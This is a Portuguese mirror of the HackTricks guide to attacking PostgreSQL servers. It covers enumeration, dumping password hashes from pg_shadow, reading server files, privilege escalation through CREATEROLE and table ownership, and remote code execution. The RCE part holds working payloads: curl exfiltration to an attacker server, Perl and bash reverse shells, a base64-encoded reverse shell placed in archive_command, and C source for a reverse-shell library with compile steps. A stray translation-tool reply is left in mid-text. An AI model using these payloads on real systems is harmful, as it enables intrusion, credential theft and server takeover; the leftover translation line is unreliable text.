mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 17:44:47 +00:00
785 lines
40 KiB
Markdown
785 lines
40 KiB
Markdown
# 5432,5433 - Teste de invasão no PostgreSQL
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
|
Acesse hoje mesmo:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## **Informações Básicas**
|
|
|
|
O **PostgreSQL** é descrito como um **sistema de banco de dados objeto-relacional** que é **código aberto**. Esse sistema não apenas utiliza a linguagem SQL, mas também a aprimora com recursos adicionais. Suas capacidades permitem lidar com uma ampla variedade de tipos de dados e operações, tornando-o uma escolha versátil para desenvolvedores e organizações.
|
|
|
|
**Porta padrão:** 5432 e, se essa porta já estiver em uso, o PostgreSQL parece usar a próxima porta (5433 provavelmente) que não está em uso.
|
|
```
|
|
PORT STATE SERVICE
|
|
5432/tcp open pgsql
|
|
```
|
|
## Conectar & Enumeração Básica
|
|
```bash
|
|
psql -U <myuser> # Open psql console with user
|
|
psql -h <host> -U <username> -d <database> # Remote connection
|
|
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
|
|
```
|
|
|
|
```sql
|
|
psql -h localhost -d <database_name> -U <User> #Password will be prompted
|
|
\list # List databases
|
|
\c <database> # use the database
|
|
\d # List tables
|
|
\du+ # Get users roles
|
|
|
|
# Get current user
|
|
SELECT user;
|
|
|
|
# Get current database
|
|
SELECT current_catalog;
|
|
|
|
# List schemas
|
|
SELECT schema_name,schema_owner FROM information_schema.schemata;
|
|
\dn+
|
|
|
|
#List databases
|
|
SELECT datname FROM pg_database;
|
|
|
|
#Read credentials (usernames + pwd hash)
|
|
SELECT usename, passwd from pg_shadow;
|
|
|
|
# Get languages
|
|
SELECT lanname,lanacl FROM pg_language;
|
|
|
|
# Show installed extensions
|
|
SHOW rds.extensions;
|
|
SELECT * FROM pg_extension;
|
|
|
|
# Get history of commands executed
|
|
\s
|
|
```
|
|
{% hint style="warning" %}
|
|
Se ao executar **`\list`** você encontrar um banco de dados chamado **`rdsadmin`**, você saberá que está dentro de um **banco de dados PostgreSQL da AWS**.
|
|
{% endhint %}
|
|
|
|
Para mais informações sobre **como abusar de um banco de dados PostgreSQL**, confira:
|
|
|
|
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
|
|
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
|
|
{% endcontent-ref %}
|
|
|
|
## Enumeração Automática
|
|
```
|
|
msf> use auxiliary/scanner/postgres/postgres_version
|
|
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
|
```
|
|
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql)
|
|
|
|
### **Varredura de portas**
|
|
|
|
De acordo com [**esta pesquisa**](https://www.exploit-db.com/papers/13084), quando uma tentativa de conexão falha, o `dblink` lança uma exceção `sqlclient_unable_to_establish_sqlconnection` incluindo uma explicação do erro. Abaixo estão listados exemplos desses detalhes.
|
|
```sql
|
|
SELECT * FROM dblink_connect('host=1.2.3.4
|
|
port=5678
|
|
user=name
|
|
password=secret
|
|
dbname=abc
|
|
connect_timeout=10');
|
|
```
|
|
* O host está inativo
|
|
|
|
`DETALHE: não foi possível conectar ao servidor: Sem rota para o host O servidor está em execução no host "1.2.3.4" e aceitando conexões TCP/IP na porta 5678?`
|
|
|
|
* A porta está fechada
|
|
```
|
|
DETAIL: could not connect to server: Connection refused Is the server
|
|
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|
```
|
|
* A porta está aberta
|
|
```
|
|
DETAIL: server closed the connection unexpectedly This probably means
|
|
the server terminated abnormally before or while processing the request
|
|
```
|
|
Sorry, I couldn't find any content to translate. Could you please provide the text you'd like me to translate to Portuguese?
|
|
```
|
|
DETAIL: FATAL: password authentication failed for user "name"
|
|
```
|
|
* A porta está aberta ou filtrada
|
|
```
|
|
DETAIL: could not connect to server: Connection timed out Is the server
|
|
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|
```
|
|
Em funções PL/pgSQL, atualmente não é possível obter detalhes de exceção. No entanto, se você tiver acesso direto ao servidor PostgreSQL, poderá recuperar as informações necessárias. Se extrair nomes de usuário e senhas das tabelas do sistema não for viável, você pode considerar utilizar o método de ataque de lista de palavras discutido na seção anterior, pois poderia potencialmente produzir resultados positivos.
|
|
|
|
## Enumeração de Privilégios
|
|
|
|
### Funções
|
|
|
|
| Tipos de Função | |
|
|
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
|
| rolsuper | Função tem privilégios de superusuário |
|
|
| rolinherit | Função herda automaticamente os privilégios das funções das quais é membro |
|
|
| rolcreaterole | Função pode criar mais funções |
|
|
| rolcreatedb | Função pode criar bancos de dados |
|
|
| rolcanlogin | Função pode fazer login. Ou seja, essa função pode ser dada como o identificador de autorização de sessão inicial |
|
|
| rolreplication | Função é uma função de replicação. Uma função de replicação pode iniciar conexões de replicação e criar e excluir slots de replicação. |
|
|
| rolconnlimit | Para funções que podem fazer login, define o número máximo de conexões simultâneas que essa função pode fazer. -1 significa sem limite. |
|
|
| rolpassword | Não a senha (sempre lê como `********`) |
|
|
| rolvaliduntil | Tempo de expiração da senha (usado apenas para autenticação de senha); nulo se não houver expiração |
|
|
| rolbypassrls | Função ignora todas as políticas de segurança de nível de linha, consulte [Seção 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para mais informações. |
|
|
| rolconfig | Padrões específicos da função para variáveis de configuração em tempo de execução |
|
|
| oid | ID da função |
|
|
|
|
#### Grupos Interessantes
|
|
|
|
* Se você é membro de **`pg_execute_server_program`** você pode **executar** programas
|
|
* Se você é membro de **`pg_read_server_files`** você pode **ler** arquivos
|
|
* Se você é membro de **`pg_write_server_files`** você pode **escrever** arquivos
|
|
|
|
{% hint style="info" %}
|
|
Observe que no Postgres um **usuário**, um **grupo** e uma **função** são o **mesmo**. Apenas depende de **como você o usa** e se você **permite o login**.
|
|
{% endhint %}
|
|
```sql
|
|
# Get users roles
|
|
\du
|
|
|
|
#Get users roles & groups
|
|
# r.rolpassword
|
|
# r.rolconfig,
|
|
SELECT
|
|
r.rolname,
|
|
r.rolsuper,
|
|
r.rolinherit,
|
|
r.rolcreaterole,
|
|
r.rolcreatedb,
|
|
r.rolcanlogin,
|
|
r.rolbypassrls,
|
|
r.rolconnlimit,
|
|
r.rolvaliduntil,
|
|
r.oid,
|
|
ARRAY(SELECT b.rolname
|
|
FROM pg_catalog.pg_auth_members m
|
|
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
|
|
WHERE m.member = r.oid) as memberof
|
|
, r.rolreplication
|
|
FROM pg_catalog.pg_roles r
|
|
ORDER BY 1;
|
|
|
|
# Check if current user is superiser
|
|
## If response is "on" then true, if "off" then false
|
|
SELECT current_setting('is_superuser');
|
|
|
|
# Try to grant access to groups
|
|
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
|
|
GRANT pg_execute_server_program TO "username";
|
|
GRANT pg_read_server_files TO "username";
|
|
GRANT pg_write_server_files TO "username";
|
|
## You will probably get this error:
|
|
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
|
|
|
|
# Create new role (user) as member of a role (group)
|
|
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
|
|
## Common error
|
|
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
|
|
```
|
|
### Tabelas
|
|
```sql
|
|
# Get owners of tables
|
|
select schemaname,tablename,tableowner from pg_tables;
|
|
## Get tables where user is owner
|
|
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
|
|
|
|
# Get your permissions over tables
|
|
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
|
|
|
|
#Check users privileges over a table (pg_shadow on this example)
|
|
## If nothing, you don't have any permission
|
|
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
|
|
```
|
|
### Funções
|
|
```sql
|
|
# Interesting functions are inside pg_catalog
|
|
\df * #Get all
|
|
\df *pg_ls* #Get by substring
|
|
\df+ pg_read_binary_file #Check who has access
|
|
|
|
# Get all functions of a schema
|
|
\df pg_catalog.*
|
|
|
|
# Get all functions of a schema (pg_catalog in this case)
|
|
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
|
|
FROM information_schema.routines
|
|
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
|
|
WHERE routines.specific_schema='pg_catalog'
|
|
ORDER BY routines.routine_name, parameters.ordinal_position;
|
|
|
|
# Another aparent option
|
|
SELECT * FROM pg_proc;
|
|
```
|
|
## Ações no sistema de arquivos
|
|
|
|
### Ler diretórios e arquivos
|
|
|
|
A partir deste [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) membros do grupo definido **`DEFAULT_ROLE_READ_SERVER_FILES`** (chamado **`pg_read_server_files`**) e **super usuários** podem usar o método **`COPY`** em qualquer caminho (verifique `convert_and_check_filename` em `genfile.c`):
|
|
```sql
|
|
# Read file
|
|
CREATE TABLE demo(t text);
|
|
COPY demo from '/etc/passwd';
|
|
SELECT * FROM demo;
|
|
```
|
|
{% hint style="warning" %}
|
|
Lembre-se de que se você não é um super usuário, mas tem permissões **CREATEROLE**, você pode **se tornar membro desse grupo:**
|
|
```sql
|
|
GRANT pg_read_server_files TO username;
|
|
```
|
|
[**Mais informações.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
|
{% endhint %}
|
|
|
|
Existem **outras funções do postgres** que podem ser usadas para **ler arquivos ou listar um diretório**. Apenas **superusuários** e **usuários com permissões explícitas** podem usá-las:
|
|
```sql
|
|
# Before executing these function go to the postgres DB (not in the template1)
|
|
\c postgres
|
|
## If you don't do this, you might get "permission denied" error even if you have permission
|
|
|
|
select * from pg_ls_dir('/tmp');
|
|
select * from pg_read_file('/etc/passwd', 0, 1000000);
|
|
select * from pg_read_binary_file('/etc/passwd');
|
|
|
|
# Check who has permissions
|
|
\df+ pg_ls_dir
|
|
\df+ pg_read_file
|
|
\df+ pg_read_binary_file
|
|
|
|
# Try to grant permissions
|
|
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
|
|
# By default you can only access files in the datadirectory
|
|
SHOW data_directory;
|
|
# But if you are a member of the group pg_read_server_files
|
|
# You can access any file, anywhere
|
|
GRANT pg_read_server_files TO username;
|
|
# Check CREATEROLE privilege escalation
|
|
```
|
|
Pode encontrar **mais funções** em [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
|
|
|
|
### Escrita de Arquivo Simples
|
|
|
|
Apenas **super usuários** e membros de **`pg_write_server_files`** podem usar a cópia para escrever arquivos.
|
|
```sql
|
|
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
|
|
```
|
|
{% endcode %}
|
|
|
|
{% hint style="warning" %}
|
|
Lembre-se de que se você não é um super usuário, mas tem permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:**
|
|
```sql
|
|
GRANT pg_write_server_files TO username;
|
|
```
|
|
[**Mais informações.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
|
{% endhint %}
|
|
|
|
Lembre-se de que o COPY não pode lidar com caracteres de nova linha, portanto, mesmo se você estiver usando uma carga útil em base64, **você precisa enviar em uma linha**.\
|
|
Uma limitação muito importante dessa técnica é que **`copy` não pode ser usado para escrever arquivos binários, pois modifica alguns valores binários.**
|
|
|
|
### **Upload de arquivos binários**
|
|
|
|
No entanto, existem **outras técnicas para fazer upload de grandes arquivos binários:**
|
|
|
|
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
|
|
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
|
|
{% endcontent-ref %}
|
|
|
|
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
|
|
|
|
**Dica de recompensa por bugs**: **cadastre-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
|
|
|
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
|
|
|
### Atualizando dados da tabela PostgreSQL via gravação de arquivo local
|
|
|
|
Se você tiver as permissões necessárias para ler e gravar arquivos do servidor PostgreSQL, você pode atualizar qualquer tabela no servidor **sobrescrevendo o nó de arquivo associado** no [diretório de dados do PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Mais sobre essa técnica** [**aqui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
|
|
|
Passos necessários:
|
|
|
|
1. Obter o diretório de dados do PostgreSQL
|
|
|
|
```sql
|
|
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
|
```
|
|
|
|
**Nota:** Se você não conseguir recuperar o caminho do diretório de dados atual das configurações, você pode consultar a versão principal do PostgreSQL por meio da consulta `SELECT version()` e tentar forçar o caminho. Os caminhos comuns de diretório de dados em instalações Unix do PostgreSQL são `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Um nome de cluster comum é `main`.
|
|
2. Obter um caminho relativo para o nó de arquivo, associado à tabela de destino
|
|
|
|
```sql
|
|
SELECT pg_relation_filepath('{NOME_DA_TABELA}')
|
|
```
|
|
|
|
Esta consulta deve retornar algo como `base/3/1337`. O caminho completo no disco será `$DATA_DIRECTORY/base/3/1337`, ou seja, `/var/lib/postgresql/13/main/base/3/1337`.
|
|
3. Baixar o nó de arquivo através das funções `lo_*`
|
|
|
|
```sql
|
|
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
|
|
```
|
|
4. Obter o tipo de dados, associado à tabela de destino
|
|
|
|
```sql
|
|
SELECT
|
|
STRING_AGG(
|
|
CONCAT_WS(
|
|
',',
|
|
attname,
|
|
typname,
|
|
attlen,
|
|
attalign
|
|
),
|
|
';'
|
|
)
|
|
FROM pg_attribute
|
|
JOIN pg_type
|
|
ON pg_attribute.atttypid = pg_type.oid
|
|
JOIN pg_class
|
|
ON pg_attribute.attrelid = pg_class.oid
|
|
WHERE pg_class.relname = '{NOME_DA_TABELA}';
|
|
```
|
|
5. Usar o [Editor de Nó de Arquivo do PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar o nó de arquivo](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); definir todos os indicadores booleanos `rol*` como 1 para permissões completas.
|
|
|
|
```bash
|
|
python3 postgresql_filenode_editor.py -f {NÓ_DE_ARQUIVO} --datatype-csv {DATATYPE_CSV_DO_PASSO_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
|
|
```
|
|
|
|
|
|
6. Reenviar o nó de arquivo editado através das funções `lo_*` e sobrescrever o arquivo original no disco
|
|
|
|
```sql
|
|
SELECT lo_from_bytea(13338,decode('{NÓ_DE_ARQUIVO_EDITADO_ENCODED_BASE64}','base64'))
|
|
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
|
|
```
|
|
7. _(Opcionalmente)_ Limpar o cache da tabela em memória executando uma consulta SQL cara
|
|
|
|
```sql
|
|
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
|
|
```
|
|
8. Agora você deve ver os valores da tabela atualizados no PostgreSQL.
|
|
|
|
Você também pode se tornar um superadmin editando a tabela `pg_authid`. **Veja** [**a seguinte seção**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
|
|
|
|
## RCE
|
|
|
|
### **RCE para programa**
|
|
|
|
Desde a [versão 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), apenas **super usuários** e membros do grupo **`pg_execute_server_program`** podem usar o copy para RCE (exemplo com exfiltração:
|
|
```sql
|
|
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
|
```
|
|
Exemplo de execução:
|
|
```bash
|
|
#PoC
|
|
DROP TABLE IF EXISTS cmd_exec;
|
|
CREATE TABLE cmd_exec(cmd_output text);
|
|
COPY cmd_exec FROM PROGRAM 'id';
|
|
SELECT * FROM cmd_exec;
|
|
DROP TABLE IF EXISTS cmd_exec;
|
|
|
|
#Reverse shell
|
|
#Notice that in order to scape a single quote you need to put 2 single quotes
|
|
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
|
|
```
|
|
{% hint style="warning" %}
|
|
Lembre-se de que se você não é um super usuário, mas tem permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:**
|
|
```sql
|
|
GRANT pg_execute_server_program TO username;
|
|
```
|
|
[**Mais informações.**](pentesting-postgresql.md#escalada-de-privilégios-com-createrole)
|
|
{% endhint %}
|
|
|
|
Ou utilize o módulo `multi/postgres/postgres_copy_from_program_cmd_exec` do **metasploit**.\
|
|
Mais informações sobre essa vulnerabilidade [**aqui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Enquanto reportado como CVE-2019-9193, o Postges declarou que isso era um [recurso e não será corrigido](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
|
|
|
### RCE com Linguagens do PostgreSQL
|
|
|
|
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
|
|
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
|
|
{% endcontent-ref %}
|
|
|
|
### RCE com Extensões do PostgreSQL
|
|
|
|
Uma vez que você tenha **aprendido** do post anterior **como fazer upload de arquivos binários**, você pode tentar obter **RCE fazendo upload de uma extensão do postgresql e carregando-a**.
|
|
|
|
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
|
|
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
|
{% endcontent-ref %}
|
|
|
|
### RCE com arquivo de configuração do PostgreSQL
|
|
|
|
{% hint style="info" %}
|
|
Os seguintes vetores de RCE são especialmente úteis em contextos de SQLi restritos, pois todas as etapas podem ser realizadas por meio de declarações SELECT aninhadas
|
|
{% endhint %}
|
|
|
|
O **arquivo de configuração** do PostgreSQL é **gravável** pelo usuário **postgres**, que é o que executa o banco de dados, então como **superusuário**, você pode escrever arquivos no sistema de arquivos e, portanto, pode **sobrescrever este arquivo.**
|
|
|
|
.png>)
|
|
|
|
#### **RCE com ssl\_passphrase\_command**
|
|
|
|
Mais informações [sobre essa técnica aqui](https://pulsesecurity.co.nz/articles/postgres-sqli).
|
|
|
|
O arquivo de configuração possui alguns atributos interessantes que podem levar a RCE:
|
|
|
|
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Caminho para a chave privada do banco de dados
|
|
* `ssl_passphrase_command = ''` Se o arquivo privado é protegido por senha (criptografado), o postgresql irá **executar o comando indicado neste atributo**.
|
|
* `ssl_passphrase_command_supports_reload = off` **Se** este atributo estiver **ligado**, o **comando** executado se a chave for protegida por senha **será executado** quando `pg_reload_conf()` for **executado**.
|
|
|
|
Então, um atacante precisará:
|
|
|
|
1. **Extrair a chave privada** do servidor
|
|
2. **Criptografar** a chave privada baixada:
|
|
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
|
3. **Sobrescrever**
|
|
4. **Extrair** a **configuração** atual do postgresql
|
|
5. **Sobrescrever** a **configuração** com a configuração dos atributos mencionados:
|
|
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
|
2. `ssl_passphrase_command_supports_reload = on`
|
|
6. Executar `pg_reload_conf()`
|
|
|
|
Ao testar isso, notei que isso só funcionará se o **arquivo de chave privada tiver privilégios 640**, for **propriedade de root** e do **grupo ssl-cert ou postgres** (para que o usuário postgres possa lê-lo) e estiver localizado em _/var/lib/postgresql/12/main_.
|
|
|
|
#### **RCE com archive\_command**
|
|
|
|
**Mais** [**informações sobre essa configuração e sobre WAL aqui**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
|
|
|
|
Outro atributo no arquivo de configuração que é explorável é `archive_command`.
|
|
|
|
Para isso funcionar, a configuração `archive_mode` deve ser `'on'` ou `'always'`. Se isso for verdade, então poderíamos sobrescrever o comando em `archive_command` e forçá-lo a ser executado por meio das operações de WAL (write-ahead logging).
|
|
|
|
Os passos gerais são:
|
|
|
|
1. Verificar se o modo de arquivamento está ativado: `SELECT current_setting('archive_mode')`
|
|
2. Sobrescrever `archive_command` com o payload. Por exemplo, um shell reverso: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
|
3. Recarregar a configuração: `SELECT pg_reload_conf()`
|
|
4. Forçar a operação do WAL a ser executada, o que chamará o comando de arquivamento: `SELECT pg_switch_wal()` ou `SELECT pg_switch_xlog()` para algumas versões do Postgres
|
|
|
|
#### **RCE com bibliotecas de pré-carregamento**
|
|
|
|
Mais informações [sobre essa técnica aqui](https://adeadfed.com/posts/postgresql-select-only-rce/).
|
|
|
|
Este vetor de ataque aproveita as seguintes variáveis de configuração:
|
|
|
|
* `session_preload_libraries` -- bibliotecas que serão carregadas pelo servidor PostgreSQL na conexão do cliente.
|
|
* `dynamic_library_path` -- lista de diretórios onde o servidor PostgreSQL procurará as bibliotecas.
|
|
|
|
Podemos definir o valor de `dynamic_library_path` para um diretório gravável pelo usuário `postgres` que executa o banco de dados, por exemplo, o diretório `/tmp/`, e fazer upload de um objeto malicioso `.so` lá. Em seguida, forçaremos o servidor PostgreSQL a carregar nossa nova biblioteca enviando-a na variável `session_preload_libraries`.
|
|
|
|
Os passos do ataque são:
|
|
|
|
1. Baixar o `postgresql.conf` original
|
|
2. Incluir o diretório `/tmp/` no valor de `dynamic_library_path`, por exemplo, `dynamic_library_path = '/tmp:$libdir'`
|
|
3. Incluir o nome da biblioteca maliciosa no valor de `session_preload_libraries`, por exemplo, `session_preload_libraries = 'payload.so'`
|
|
4. Verificar a versão principal do PostgreSQL por meio da consulta `SELECT version()`
|
|
5. Compilar o código da biblioteca maliciosa com o pacote dev correto do PostgreSQL. Código de exemplo:
|
|
|
|
```c
|
|
#include <stdio.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/types.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include "postgres.h"
|
|
#include "fmgr.h"
|
|
|
|
#ifdef PG_MODULE_MAGIC
|
|
PG_MODULE_MAGIC;
|
|
#endif
|
|
|
|
void _init() {
|
|
/*
|
|
código retirado de https://www.revshells.com/
|
|
*/
|
|
|
|
int port = REVSHELL_PORT;
|
|
struct sockaddr_in revsockaddr;
|
|
|
|
int sockt = socket(AF_INET, SOCK_STREAM, 0);
|
|
revsockaddr.sin_family = AF_INET;
|
|
revsockaddr.sin_port = htons(port);
|
|
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
|
|
|
|
connect(sockt, (struct sockaddr *) &revsockaddr,
|
|
sizeof(revsockaddr));
|
|
dup2(sockt, 0);
|
|
dup2(sockt, 1);
|
|
dup2(sockt, 2);
|
|
|
|
char * const argv[] = {"/bin/bash", NULL};
|
|
execve("/bin/bash", argv, NULL);
|
|
}
|
|
```
|
|
|
|
Compilando o código:
|
|
|
|
```bash
|
|
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
|
|
```
|
|
6. Fazer upload do `postgresql.conf` malicioso, criado nos passos 2-3, e sobrescrever o original
|
|
7. Fazer upload do `payload.so` do passo 5 para o diretório `/tmp`
|
|
8. Recarregar a configuração do servidor reiniciando o servidor ou invocando a consulta `SELECT pg_reload_conf()`
|
|
9. Na próxima conexão do BD, você receberá a conexão do shell reverso.
|
|
## **Postgres Privesc**
|
|
|
|
### Privilégio de CREATEROLE
|
|
|
|
#### **Conceder**
|
|
|
|
De acordo com a [**documentação**](https://www.postgresql.org/docs/13/sql-grant.html): _Funções com o privilégio **`CREATEROLE`** podem **conceder ou revogar a associação a qualquer função** que **não** seja um **superusuário**._
|
|
|
|
Portanto, se você tiver permissão de **`CREATEROLE`**, poderá conceder a si mesmo acesso a outras **funções** (que não sejam superusuários) que podem lhe dar a opção de ler e escrever arquivos e executar comandos:
|
|
```sql
|
|
# Access to execute commands
|
|
GRANT pg_execute_server_program TO username;
|
|
# Access to read files
|
|
GRANT pg_read_server_files TO username;
|
|
# Access to write files
|
|
GRANT pg_write_server_files TO username;
|
|
```
|
|
#### Alterar Senha
|
|
|
|
Usuários com essa função também podem **alterar** as **senhas** de outros **não-superusuários**:
|
|
```sql
|
|
#Change password
|
|
ALTER USER user_name WITH PASSWORD 'new_password';
|
|
```
|
|
#### Elevação para SUPERUSER
|
|
|
|
É bastante comum encontrar que **usuários locais podem fazer login no PostgreSQL sem fornecer qualquer senha**. Portanto, uma vez que você tenha obtido **permissões para executar código**, você pode abusar dessas permissões para obter a função de **`SUPERUSER`**:
|
|
```sql
|
|
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
|
```
|
|
{% hint style="info" %}
|
|
Isso geralmente é possível por causa das seguintes linhas no arquivo **`pg_hba.conf`**:
|
|
```bash
|
|
# "local" is for Unix domain socket connections only
|
|
local all all trust
|
|
# IPv4 local connections:
|
|
host all all 127.0.0.1/32 trust
|
|
# IPv6 local connections:
|
|
host all all ::1/128 trust
|
|
```
|
|
{% endhint %}
|
|
|
|
### **ALTER TABLE privesc**
|
|
|
|
No [**este artigo**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) é explicado como foi possível fazer **privesc** no Postgres GCP abusando do privilégio ALTER TABLE que foi concedido ao usuário.
|
|
|
|
Quando você tenta **tornar outro usuário proprietário de uma tabela**, você deveria receber um **erro** impedindo isso, mas aparentemente o GCP deu essa **opção ao usuário postgres não-superusuário** no GCP:
|
|
|
|
<figure><img src="../.gitbook/assets/image (537).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Unindo essa ideia com o fato de que quando os comandos **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) são executados em uma **tabela com uma função de índice**, a **função** é **chamada** como parte do comando com as **permissões do proprietário da tabela**. É possível criar um índice com uma função e dar permissões de proprietário a um **superusuário** sobre essa tabela e, em seguida, executar ANALYZE sobre a tabela com a função maliciosa que será capaz de executar comandos porque está usando as permissões do proprietário.
|
|
```c
|
|
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
|
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
|
save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|
```
|
|
#### Exploração
|
|
|
|
1. Comece criando uma nova tabela.
|
|
2. Insira algum conteúdo irrelevante na tabela para fornecer dados para a função de índice.
|
|
3. Desenvolva uma função de índice maliciosa que contenha um payload de execução de código, permitindo a execução de comandos não autorizados.
|
|
4. ALTERE o proprietário da tabela para "cloudsqladmin," que é a função de superusuário exclusivamente usada pelo Cloud SQL para gerenciar e manter o banco de dados.
|
|
